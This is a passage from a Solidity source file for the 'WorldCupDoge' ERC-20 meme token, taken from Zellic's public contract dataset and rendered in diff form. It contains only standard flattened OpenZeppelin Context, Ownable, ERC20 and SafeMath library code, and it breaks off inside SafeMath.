|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/**
|
4 |
+
|
5 |
+
WorldCupDoge - BIGGEST WORLDCUP DOGE TOKEN ON ETHEREUM.
|
6 |
+
|
7 |
+
░██╗░░░░░░░██╗░█████╗░██████╗░
|
8 |
+
░██║░░██╗░░██║██╔══██╗██╔══██╗
|
9 |
+
░╚██╗████╗██╔╝██║░░╚═╝██║░░██║
|
10 |
+
░░████╔═████║░██║░░██╗██║░░██║
|
11 |
+
░░╚██╔╝░╚██╔╝░╚█████╔╝██████╔╝
|
12 |
+
░░░╚═╝░░░╚═╝░░░╚════╝░╚═════╝░
|
13 |
+
|
14 |
+
*/
|
15 |
+
|
16 |
+
// SPDX-License-Identifier: MIT
|
17 |
+
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
|
18 |
+
pragma experimental ABIEncoderV2;
|
19 |
+
|
20 |
+
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
|
21 |
+
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
|
22 |
+
|
23 |
+
/* pragma solidity ^0.8.0; */
|
24 |
+
|
25 |
+
/**
|
26 |
+
* @dev Provides information about the current execution context, including the
|
27 |
+
* sender of the transaction and its data. While these are generally available
|
28 |
+
* via msg.sender and msg.data, they should not be accessed in such a direct
|
29 |
+
* manner, since when dealing with meta-transactions the account sending and
|
30 |
+
* paying for execution may not be the actual sender (as far as an application
|
31 |
+
* is concerned).
|
32 |
+
*
|
33 |
+
* This contract is only required for intermediate, library-like contracts.
|
34 |
+
*/
|
35 |
+
abstract contract Context {
|
36 |
+
function _msgSender() internal view virtual returns (address) {
|
37 |
+
return msg.sender;
|
38 |
+
}
|
39 |
+
|
40 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
41 |
+
return msg.data;
|
42 |
+
}
|
43 |
+
}
|
44 |
+
|
45 |
+
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
|
46 |
+
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
|
47 |
+
|
48 |
+
/* pragma solidity ^0.8.0; */
|
49 |
+
|
50 |
+
/* import "../utils/Context.sol"; */
|
51 |
+
|
52 |
+
/**
|
53 |
+
* @dev Contract module which provides a basic access control mechanism, where
|
54 |
+
* there is an account (an owner) that can be granted exclusive access to
|
55 |
+
* specific functions.
|
56 |
+
*
|
57 |
+
* By default, the owner account will be the one that deploys the contract. This
|
58 |
+
* can later be changed with {transferOwnership}.
|
59 |
+
*
|
60 |
+
* This module is used through inheritance. It will make available the modifier
|
61 |
+
* `onlyOwner`, which can be applied to your functions to restrict their use to
|
62 |
+
* the owner.
|
63 |
+
*/
|
64 |
+
abstract contract Ownable is Context {
|
65 |
+
address private _owner;
|
66 |
+
|
67 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
68 |
+
|
69 |
+
/**
|
70 |
+
* @dev Initializes the contract setting the deployer as the initial owner.
|
71 |
+
*/
|
72 |
+
constructor() {
|
73 |
+
_transferOwnership(_msgSender());
|
74 |
+
}
|
75 |
+
|
76 |
+
/**
|
77 |
+
* @dev Returns the address of the current owner.
|
78 |
+
*/
|
79 |
+
function owner() public view virtual returns (address) {
|
80 |
+
return _owner;
|
81 |
+
}
|
82 |
+
|
83 |
+
/**
|
84 |
+
* @dev Throws if called by any account other than the owner.
|
85 |
+
*/
|
86 |
+
modifier onlyOwner() {
|
87 |
+
require(owner() == _msgSender(), "Ownable: caller is not the owner");
|
88 |
+
_;
|
89 |
+
}
|
90 |
+
|
91 |
+
/**
|
92 |
+
* @dev Leaves the contract without owner. It will not be possible to call
|
93 |
+
* `onlyOwner` functions anymore. Can only be called by the current owner.
|
94 |
+
*
|
95 |
+
* NOTE: Renouncing ownership will leave the contract without an owner,
|
96 |
+
* thereby removing any functionality that is only available to the owner.
|
97 |
+
*/
|
98 |
+
function renounceOwnership() public virtual onlyOwner {
|
99 |
+
_transferOwnership(address(0));
|
100 |
+
}
|
101 |
+
|
102 |
+
/**
|
103 |
+
* @dev Transfers ownership of the contract to a new account (`newOwner`).
|
104 |
+
* Can only be called by the current owner.
|
105 |
+
*/
|
106 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
107 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
108 |
+
_transferOwnership(newOwner);
|
109 |
+
}
|
110 |
+
|
111 |
+
/**
|
112 |
+
* @dev Transfers ownership of the contract to a new account (`newOwner`).
|
113 |
+
* Internal function without access restriction.
|
114 |
+
*/
|
115 |
+
function _transferOwnership(address newOwner) internal virtual {
|
116 |
+
address oldOwner = _owner;
|
117 |
+
_owner = newOwner;
|
118 |
+
emit OwnershipTransferred(oldOwner, newOwner);
|
119 |
+
}
|
120 |
+
}
|
121 |
+
|
122 |
+
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
|
123 |
+
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
|
124 |
+
|
125 |
+
/* pragma solidity ^0.8.0; */
|
126 |
+
|
127 |
+
/**
|
128 |
+
* @dev Interface of the ERC20 standard as defined in the EIP.
|
129 |
+
*/
|
130 |
+
interface IERC20 {
|
131 |
+
/**
|
132 |
+
* @dev Returns the amount of tokens in existence.
|
133 |
+
*/
|
134 |
+
function totalSupply() external view returns (uint256);
|
135 |
+
|
136 |
+
/**
|
137 |
+
* @dev Returns the amount of tokens owned by `account`.
|
138 |
+
*/
|
139 |
+
function balanceOf(address account) external view returns (uint256);
|
140 |
+
|
141 |
+
/**
|
142 |
+
* @dev Moves `amount` tokens from the caller's account to `recipient`.
|
143 |
+
*
|
144 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
145 |
+
*
|
146 |
+
* Emits a {Transfer} event.
|
147 |
+
*/
|
148 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
149 |
+
|
150 |
+
/**
|
151 |
+
* @dev Returns the remaining number of tokens that `spender` will be
|
152 |
+
* allowed to spend on behalf of `owner` through {transferFrom}. This is
|
153 |
+
* zero by default.
|
154 |
+
*
|
155 |
+
* This value changes when {approve} or {transferFrom} are called.
|
156 |
+
*/
|
157 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
158 |
+
|
159 |
+
/**
|
160 |
+
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
|
161 |
+
*
|
162 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
163 |
+
*
|
164 |
+
* IMPORTANT: Beware that changing an allowance with this method brings the risk
|
165 |
+
* that someone may use both the old and the new allowance by unfortunate
|
166 |
+
* transaction ordering. One possible solution to mitigate this race
|
167 |
+
* condition is to first reduce the spender's allowance to 0 and set the
|
168 |
+
* desired value afterwards:
|
169 |
+
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
170 |
+
*
|
171 |
+
* Emits an {Approval} event.
|
172 |
+
*/
|
173 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
174 |
+
|
175 |
+
/**
|
176 |
+
* @dev Moves `amount` tokens from `sender` to `recipient` using the
|
177 |
+
* allowance mechanism. `amount` is then deducted from the caller's
|
178 |
+
* allowance.
|
179 |
+
*
|
180 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
181 |
+
*
|
182 |
+
* Emits a {Transfer} event.
|
183 |
+
*/
|
184 |
+
function transferFrom(
|
185 |
+
address sender,
|
186 |
+
address recipient,
|
187 |
+
uint256 amount
|
188 |
+
) external returns (bool);
|
189 |
+
|
190 |
+
/**
|
191 |
+
* @dev Emitted when `value` tokens are moved from one account (`from`) to
|
192 |
+
* another (`to`).
|
193 |
+
*
|
194 |
+
* Note that `value` may be zero.
|
195 |
+
*/
|
196 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
197 |
+
|
198 |
+
/**
|
199 |
+
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
|
200 |
+
* a call to {approve}. `value` is the new allowance.
|
201 |
+
*/
|
202 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
203 |
+
}
|
204 |
+
|
205 |
+
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
|
206 |
+
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
|
207 |
+
|
208 |
+
/* pragma solidity ^0.8.0; */
|
209 |
+
|
210 |
+
/* import "../IERC20.sol"; */
|
211 |
+
|
212 |
+
/**
|
213 |
+
* @dev Interface for the optional metadata functions from the ERC20 standard.
|
214 |
+
*
|
215 |
+
* _Available since v4.1._
|
216 |
+
*/
|
217 |
+
interface IERC20Metadata is IERC20 {
|
218 |
+
/**
|
219 |
+
* @dev Returns the name of the token.
|
220 |
+
*/
|
221 |
+
function name() external view returns (string memory);
|
222 |
+
|
223 |
+
/**
|
224 |
+
* @dev Returns the symbol of the token.
|
225 |
+
*/
|
226 |
+
function symbol() external view returns (string memory);
|
227 |
+
|
228 |
+
/**
|
229 |
+
* @dev Returns the decimals places of the token.
|
230 |
+
*/
|
231 |
+
function decimals() external view returns (uint8);
|
232 |
+
}
|
233 |
+
|
234 |
+
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
|
235 |
+
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
|
236 |
+
|
237 |
+
/* pragma solidity ^0.8.0; */
|
238 |
+
|
239 |
+
/* import "./IERC20.sol"; */
|
240 |
+
/* import "./extensions/IERC20Metadata.sol"; */
|
241 |
+
/* import "../../utils/Context.sol"; */
|
242 |
+
|
243 |
+
/**
|
244 |
+
* @dev Implementation of the {IERC20} interface.
|
245 |
+
*
|
246 |
+
* This implementation is agnostic to the way tokens are created. This means
|
247 |
+
* that a supply mechanism has to be added in a derived contract using {_mint}.
|
248 |
+
* For a generic mechanism see {ERC20PresetMinterPauser}.
|
249 |
+
*
|
250 |
+
* TIP: For a detailed writeup see our guide
|
251 |
+
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
|
252 |
+
* to implement supply mechanisms].
|
253 |
+
*
|
254 |
+
* We have followed general OpenZeppelin Contracts guidelines: functions revert
|
255 |
+
* instead returning `false` on failure. This behavior is nonetheless
|
256 |
+
* conventional and does not conflict with the expectations of ERC20
|
257 |
+
* applications.
|
258 |
+
*
|
259 |
+
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
|
260 |
+
* This allows applications to reconstruct the allowance for all accounts just
|
261 |
+
* by listening to said events. Other implementations of the EIP may not emit
|
262 |
+
* these events, as it isn't required by the specification.
|
263 |
+
*
|
264 |
+
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
|
265 |
+
* functions have been added to mitigate the well-known issues around setting
|
266 |
+
* allowances. See {IERC20-approve}.
|
267 |
+
*/
|
268 |
+
contract ERC20 is Context, IERC20, IERC20Metadata {
|
269 |
+
mapping(address => uint256) private _balances;
|
270 |
+
|
271 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
272 |
+
|
273 |
+
uint256 private _totalSupply;
|
274 |
+
|
275 |
+
string private _name;
|
276 |
+
string private _symbol;
|
277 |
+
|
278 |
+
/**
|
279 |
+
* @dev Sets the values for {name} and {symbol}.
|
280 |
+
*
|
281 |
+
* The default value of {decimals} is 18. To select a different value for
|
282 |
+
* {decimals} you should overload it.
|
283 |
+
*
|
284 |
+
* All two of these values are immutable: they can only be set once during
|
285 |
+
* construction.
|
286 |
+
*/
|
287 |
+
constructor(string memory name_, string memory symbol_) {
|
288 |
+
_name = name_;
|
289 |
+
_symbol = symbol_;
|
290 |
+
}
|
291 |
+
|
292 |
+
/**
|
293 |
+
* @dev Returns the name of the token.
|
294 |
+
*/
|
295 |
+
function name() public view virtual override returns (string memory) {
|
296 |
+
return _name;
|
297 |
+
}
|
298 |
+
|
299 |
+
/**
|
300 |
+
* @dev Returns the symbol of the token, usually a shorter version of the
|
301 |
+
* name.
|
302 |
+
*/
|
303 |
+
function symbol() public view virtual override returns (string memory) {
|
304 |
+
return _symbol;
|
305 |
+
}
|
306 |
+
|
307 |
+
/**
|
308 |
+
* @dev Returns the number of decimals used to get its user representation.
|
309 |
+
* For example, if `decimals` equals `2`, a balance of `505` tokens should
|
310 |
+
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
|
311 |
+
*
|
312 |
+
* Tokens usually opt for a value of 18, imitating the relationship between
|
313 |
+
* Ether and Wei. This is the value {ERC20} uses, unless this function is
|
314 |
+
* overridden;
|
315 |
+
*
|
316 |
+
* NOTE: This information is only used for _display_ purposes: it in
|
317 |
+
* no way affects any of the arithmetic of the contract, including
|
318 |
+
* {IERC20-balanceOf} and {IERC20-transfer}.
|
319 |
+
*/
|
320 |
+
function decimals() public view virtual override returns (uint8) {
|
321 |
+
return 18;
|
322 |
+
}
|
323 |
+
|
324 |
+
/**
|
325 |
+
* @dev See {IERC20-totalSupply}.
|
326 |
+
*/
|
327 |
+
function totalSupply() public view virtual override returns (uint256) {
|
328 |
+
return _totalSupply;
|
329 |
+
}
|
330 |
+
|
331 |
+
/**
|
332 |
+
* @dev See {IERC20-balanceOf}.
|
333 |
+
*/
|
334 |
+
function balanceOf(address account) public view virtual override returns (uint256) {
|
335 |
+
return _balances[account];
|
336 |
+
}
|
337 |
+
|
338 |
+
/**
|
339 |
+
* @dev See {IERC20-transfer}.
|
340 |
+
*
|
341 |
+
* Requirements:
|
342 |
+
*
|
343 |
+
* - `recipient` cannot be the zero address.
|
344 |
+
* - the caller must have a balance of at least `amount`.
|
345 |
+
*/
|
346 |
+
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
|
347 |
+
_transfer(_msgSender(), recipient, amount);
|
348 |
+
return true;
|
349 |
+
}
|
350 |
+
|
351 |
+
/**
|
352 |
+
* @dev See {IERC20-allowance}.
|
353 |
+
*/
|
354 |
+
function allowance(address owner, address spender) public view virtual override returns (uint256) {
|
355 |
+
return _allowances[owner][spender];
|
356 |
+
}
|
357 |
+
|
358 |
+
/**
|
359 |
+
* @dev See {IERC20-approve}.
|
360 |
+
*
|
361 |
+
* Requirements:
|
362 |
+
*
|
363 |
+
* - `spender` cannot be the zero address.
|
364 |
+
*/
|
365 |
+
function approve(address spender, uint256 amount) public virtual override returns (bool) {
|
366 |
+
_approve(_msgSender(), spender, amount);
|
367 |
+
return true;
|
368 |
+
}
|
369 |
+
|
370 |
+
/**
|
371 |
+
* @dev See {IERC20-transferFrom}.
|
372 |
+
*
|
373 |
+
* Emits an {Approval} event indicating the updated allowance. This is not
|
374 |
+
* required by the EIP. See the note at the beginning of {ERC20}.
|
375 |
+
*
|
376 |
+
* Requirements:
|
377 |
+
*
|
378 |
+
* - `sender` and `recipient` cannot be the zero address.
|
379 |
+
* - `sender` must have a balance of at least `amount`.
|
380 |
+
* - the caller must have allowance for ``sender``'s tokens of at least
|
381 |
+
* `amount`.
|
382 |
+
*/
|
383 |
+
function transferFrom(
|
384 |
+
address sender,
|
385 |
+
address recipient,
|
386 |
+
uint256 amount
|
387 |
+
) public virtual override returns (bool) {
|
388 |
+
_transfer(sender, recipient, amount);
|
389 |
+
|
390 |
+
uint256 currentAllowance = _allowances[sender][_msgSender()];
|
391 |
+
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
|
392 |
+
unchecked {
|
393 |
+
_approve(sender, _msgSender(), currentAllowance - amount);
|
394 |
+
}
|
395 |
+
|
396 |
+
return true;
|
397 |
+
}
|
398 |
+
|
399 |
+
/**
|
400 |
+
* @dev Atomically increases the allowance granted to `spender` by the caller.
|
401 |
+
*
|
402 |
+
* This is an alternative to {approve} that can be used as a mitigation for
|
403 |
+
* problems described in {IERC20-approve}.
|
404 |
+
*
|
405 |
+
* Emits an {Approval} event indicating the updated allowance.
|
406 |
+
*
|
407 |
+
* Requirements:
|
408 |
+
*
|
409 |
+
* - `spender` cannot be the zero address.
|
410 |
+
*/
|
411 |
+
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
412 |
+
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
|
413 |
+
return true;
|
414 |
+
}
|
415 |
+
|
416 |
+
/**
|
417 |
+
* @dev Atomically decreases the allowance granted to `spender` by the caller.
|
418 |
+
*
|
419 |
+
* This is an alternative to {approve} that can be used as a mitigation for
|
420 |
+
* problems described in {IERC20-approve}.
|
421 |
+
*
|
422 |
+
* Emits an {Approval} event indicating the updated allowance.
|
423 |
+
*
|
424 |
+
* Requirements:
|
425 |
+
*
|
426 |
+
* - `spender` cannot be the zero address.
|
427 |
+
* - `spender` must have allowance for the caller of at least
|
428 |
+
* `subtractedValue`.
|
429 |
+
*/
|
430 |
+
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
431 |
+
uint256 currentAllowance = _allowances[_msgSender()][spender];
|
432 |
+
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
|
433 |
+
unchecked {
|
434 |
+
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
|
435 |
+
}
|
436 |
+
|
437 |
+
return true;
|
438 |
+
}
|
439 |
+
|
440 |
+
/**
|
441 |
+
* @dev Moves `amount` of tokens from `sender` to `recipient`.
|
442 |
+
*
|
443 |
+
* This internal function is equivalent to {transfer}, and can be used to
|
444 |
+
* e.g. implement automatic token fees, slashing mechanisms, etc.
|
445 |
+
*
|
446 |
+
* Emits a {Transfer} event.
|
447 |
+
*
|
448 |
+
* Requirements:
|
449 |
+
*
|
450 |
+
* - `sender` cannot be the zero address.
|
451 |
+
* - `recipient` cannot be the zero address.
|
452 |
+
* - `sender` must have a balance of at least `amount`.
|
453 |
+
*/
|
454 |
+
function _transfer(
|
455 |
+
address sender,
|
456 |
+
address recipient,
|
457 |
+
uint256 amount
|
458 |
+
) internal virtual {
|
459 |
+
require(sender != address(0), "ERC20: transfer from the zero address");
|
460 |
+
require(recipient != address(0), "ERC20: transfer to the zero address");
|
461 |
+
|
462 |
+
_beforeTokenTransfer(sender, recipient, amount);
|
463 |
+
|
464 |
+
uint256 senderBalance = _balances[sender];
|
465 |
+
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
|
466 |
+
unchecked {
|
467 |
+
_balances[sender] = senderBalance - amount;
|
468 |
+
}
|
469 |
+
_balances[recipient] += amount;
|
470 |
+
|
471 |
+
emit Transfer(sender, recipient, amount);
|
472 |
+
|
473 |
+
_afterTokenTransfer(sender, recipient, amount);
|
474 |
+
}
|
475 |
+
|
476 |
+
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
|
477 |
+
* the total supply.
|
478 |
+
*
|
479 |
+
* Emits a {Transfer} event with `from` set to the zero address.
|
480 |
+
*
|
481 |
+
* Requirements:
|
482 |
+
*
|
483 |
+
* - `account` cannot be the zero address.
|
484 |
+
*/
|
485 |
+
function _mint(address account, uint256 amount) internal virtual {
|
486 |
+
require(account != address(0), "ERC20: mint to the zero address");
|
487 |
+
|
488 |
+
_beforeTokenTransfer(address(0), account, amount);
|
489 |
+
|
490 |
+
_totalSupply += amount;
|
491 |
+
_balances[account] += amount;
|
492 |
+
emit Transfer(address(0), account, amount);
|
493 |
+
|
494 |
+
_afterTokenTransfer(address(0), account, amount);
|
495 |
+
}
|
496 |
+
|
497 |
+
/**
|
498 |
+
* @dev Destroys `amount` tokens from `account`, reducing the
|
499 |
+
* total supply.
|
500 |
+
*
|
501 |
+
* Emits a {Transfer} event with `to` set to the zero address.
|
502 |
+
*
|
503 |
+
* Requirements:
|
504 |
+
*
|
505 |
+
* - `account` cannot be the zero address.
|
506 |
+
* - `account` must have at least `amount` tokens.
|
507 |
+
*/
|
508 |
+
function _burn(address account, uint256 amount) internal virtual {
|
509 |
+
require(account != address(0), "ERC20: burn from the zero address");
|
510 |
+
|
511 |
+
_beforeTokenTransfer(account, address(0), amount);
|
512 |
+
|
513 |
+
uint256 accountBalance = _balances[account];
|
514 |
+
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
|
515 |
+
unchecked {
|
516 |
+
_balances[account] = accountBalance - amount;
|
517 |
+
}
|
518 |
+
_totalSupply -= amount;
|
519 |
+
|
520 |
+
emit Transfer(account, address(0), amount);
|
521 |
+
|
522 |
+
_afterTokenTransfer(account, address(0), amount);
|
523 |
+
}
|
524 |
+
|
525 |
+
/**
|
526 |
+
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
|
527 |
+
*
|
528 |
+
* This internal function is equivalent to `approve`, and can be used to
|
529 |
+
* e.g. set automatic allowances for certain subsystems, etc.
|
530 |
+
*
|
531 |
+
* Emits an {Approval} event.
|
532 |
+
*
|
533 |
+
* Requirements:
|
534 |
+
*
|
535 |
+
* - `owner` cannot be the zero address.
|
536 |
+
* - `spender` cannot be the zero address.
|
537 |
+
*/
|
538 |
+
function _approve(
|
539 |
+
address owner,
|
540 |
+
address spender,
|
541 |
+
uint256 amount
|
542 |
+
) internal virtual {
|
543 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
544 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
545 |
+
|
546 |
+
_allowances[owner][spender] = amount;
|
547 |
+
emit Approval(owner, spender, amount);
|
548 |
+
}
|
549 |
+
|
550 |
+
/**
|
551 |
+
* @dev Hook that is called before any transfer of tokens. This includes
|
552 |
+
* minting and burning.
|
553 |
+
*
|
554 |
+
* Calling conditions:
|
555 |
+
*
|
556 |
+
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
|
557 |
+
* will be transferred to `to`.
|
558 |
+
* - when `from` is zero, `amount` tokens will be minted for `to`.
|
559 |
+
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
|
560 |
+
* - `from` and `to` are never both zero.
|
561 |
+
*
|
562 |
+
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
|
563 |
+
*/
|
564 |
+
function _beforeTokenTransfer(
|
565 |
+
address from,
|
566 |
+
address to,
|
567 |
+
uint256 amount
|
568 |
+
) internal virtual {}
|
569 |
+
|
570 |
+
/**
|
571 |
+
* @dev Hook that is called after any transfer of tokens. This includes
|
572 |
+
* minting and burning.
|
573 |
+
*
|
574 |
+
* Calling conditions:
|
575 |
+
*
|
576 |
+
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
|
577 |
+
* has been transferred to `to`.
|
578 |
+
* - when `from` is zero, `amount` tokens have been minted for `to`.
|
579 |
+
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
|
580 |
+
* - `from` and `to` are never both zero.
|
581 |
+
*
|
582 |
+
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
|
583 |
+
*/
|
584 |
+
function _afterTokenTransfer(
|
585 |
+
address from,
|
586 |
+
address to,
|
587 |
+
uint256 amount
|
588 |
+
) internal virtual {}
|
589 |
+
}
|
590 |
+
|
591 |
+
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
|
592 |
+
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
|
593 |
+
|
594 |
+
/* pragma solidity ^0.8.0; */
|
595 |
+
|
596 |
+
// CAUTION
|
597 |
+
// This version of SafeMath should only be used with Solidity 0.8 or later,
|
598 |
+
// because it relies on the compiler's built in overflow checks.
|
599 |
+
|
600 |
+
/**
|
601 |
+
* @dev Wrappers over Solidity's arithmetic operations.
|
602 |
+
*
|
603 |
+
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
|
604 |
+
* now has built in overflow checking.
|
605 |
+
*/
|
606 |
+
library SafeMath {
|
607 |
+
/**
|
608 |
+
* @dev Returns the addition of two unsigned integers, with an overflow flag.
|
609 |
+
*
|
610 |
+
* _Available since v3.4._
|
611 |
+
*/
|
612 |
+
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
613 |
+
unchecked {
|
614 |
+
uint256 c = a + b;
|
615 |
+
if (c < a) return (false, 0);
|
616 |
+
return (true, c);
|
617 |
+
}
|
618 |
+
}
|
619 |
+
|
620 |
+
/**
|
621 |
+
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
|
622 |
+
*
|
623 |
+
* _Available since v3.4._
|
624 |
+
*/
|
625 |
+
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
626 |
+
unchecked {
|
627 |
+
if (b > a) return (false, 0);
|
628 |
+
return (true, a - b);
|
629 |
+
}
|
630 |
+
}
|
631 |
+
|
632 |
+
/**
|
633 |
+
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
|
634 |
+
*
|
635 |
+
* _Available since v3.4._
|
636 |
+
*/
|
637 |
+
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
638 |
+
unchecked {
|
639 |
+
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
|
640 |
+
// benefit is lost if 'b' is also tested.
|
641 |
+
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
|
642 |
+
if (a == 0) return (true, 0);
|
643 |
+
uint256 c = a * b;
|
644 |
+
if (c / a != b) return (false, 0);
|
645 |
+
return (true, c);
|
646 |
+
}
|
647 |
+
}
|
648 |
+
|
649 |
+
/**
|
650 |
+
* @dev Returns the division of two unsigned integers, with a division by zero flag.
|
651 |
+
*
|
652 |
+
* _Available since v3.4._
|
653 |
+
*/
|
654 |
+
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
655 |
+
unchecked {
|
656 |
+
if (b == 0) return (false, 0);
|
657 |
+
return (true, a / b);
|
658 |
+
}
|
659 |
+
}
|
660 |
+
|
661 |
+
/**
|
662 |
+
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
|
663 |
+
*
|
664 |
+
* _Available since v3.4._
|
665 |
+
*/
|
666 |
+
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
667 |
+
unchecked {
|
668 |
+
if (b == 0) return (false, 0);
|
669 |
+
return (true, a % b);
|
670 |
+
}
|
671 |
+
}
|
672 |
+
|
673 |
+
/**
|
674 |
+
* @dev Returns the addition of two unsigned integers, reverting on
|
675 |
+
* overflow.
|
676 |
+
*
|
677 |
+
* Counterpart to Solidity's `+` operator.
|
678 |
+
*
|
679 |
+
* Requirements:
|
680 |
+
*
|
681 |
+
* - Addition cannot overflow.
|
682 |
+
*/
|
683 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
684 |
+
return a + b;
|
685 |
+
}
|
686 |
+
|
687 |
+
/**
|
688 |
+
* @dev Returns the subtraction of two unsigned integers, reverting on
|
689 |
+
* overflow (when the result is negative).
|
690 |
+
*
|
691 |
+
* Counterpart to Solidity's `-` operator.
|
692 |
+
*
|
693 |
+
* Requirements:
|
694 |
+
*
|
695 |
+
* - Subtraction cannot overflow.
|
696 |
+
*/
|
697 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
698 |
+
return a - b;
|
699 |
+
}
|
700 |
+
|
701 |
+
/**
|
702 |
+
* @dev Returns the multiplication of two unsigned integers, reverting on
|
703 |
+
* overflow.
|
704 |
+
*
|
705 |
+
* Counterpart to Solidity's `*` operator.
|
706 |
+
*
|
707 |
+
* Requirements:
|
708 |
+
*
|
709 |
+
* - Multiplication cannot overflow.
|
710 |
+
*/
|
711 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
712 |
+
return a * b;
|
713 |
+
}
|
714 |
+
|
715 |
+
/**
|
716 |
+
* @dev Returns the integer division of two unsigned integers, reverting on
|
717 |
+
* division by zero. The result is rounded towards zero.
|
718 |
+
*
|
719 |
+
* Counterpart to Solidity's `/` operator.
|
720 |
+
*
|
721 |
+
* Requirements:
|
722 |
+
*
|
723 |
+
* - The divisor cannot be zero.
|
724 |
+
*/
|
725 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
726 |
+
return a / b;
|
727 |
+
}
|
728 |
+
|
729 |
+
/**
|
730 |
+
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
|
731 |
+
* reverting when dividing by zero.
|
732 |
+
*
|
733 |
+
* Counterpart to Solidity's `%` operator. This function uses a `revert`
|
734 |
+
* opcode (which leaves remaining gas untouched) while Solidity uses an
|
735 |
+
* invalid opcode to revert (consuming all remaining gas).
|
736 |
+
*
|
737 |
+
* Requirements:
|
738 |
+
*
|
739 |
+
* - The divisor cannot be zero.
|
740 |
+
*/
|
741 |
+
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
742 |
+
return a % b;
|
743 |
+
}
|
744 |
+
|
745 |
+
/**
|
746 |
+
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
|
747 |
+
* overflow (when the result is negative).
|
748 |
+
*
|
749 |
+
* CAUTION: This function is deprecated because it requires allocating memory for the error
|
750 |
+
* message unnecessarily. For custom revert reasons use {trySub}.
|
751 |
+
*
|
752 |
+
* Counterpart to Solidity's `-` operator.
|
753 |
+
*
|
754 |
+
* Requirements:
|
755 |
+
*
|
756 |
+
* - Subtraction cannot overflow.
|
757 |
+
*/
|
758 |
+
function sub(
|
759 |
+
uint256 a,
|
760 |
+
uint256 b,
|
761 |
+
string memory errorMessage
|
762 |
+
) internal pure returns (uint256) {
|
763 |
+
unchecked {
|
764 |
+
require(b <= a, errorMessage);
|
765 |
+
return a - b;
|
766 |
+
}
|
767 |
+
}
|
768 |
+
|
769 |
+
/**
|
770 |
+
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
|
771 |
+
* division by zero. The result is rounded towards zero.
|
772 |
+
*
|
773 |
+
* Counterpart to Solidity's `/` operator. Note: this function uses a
|
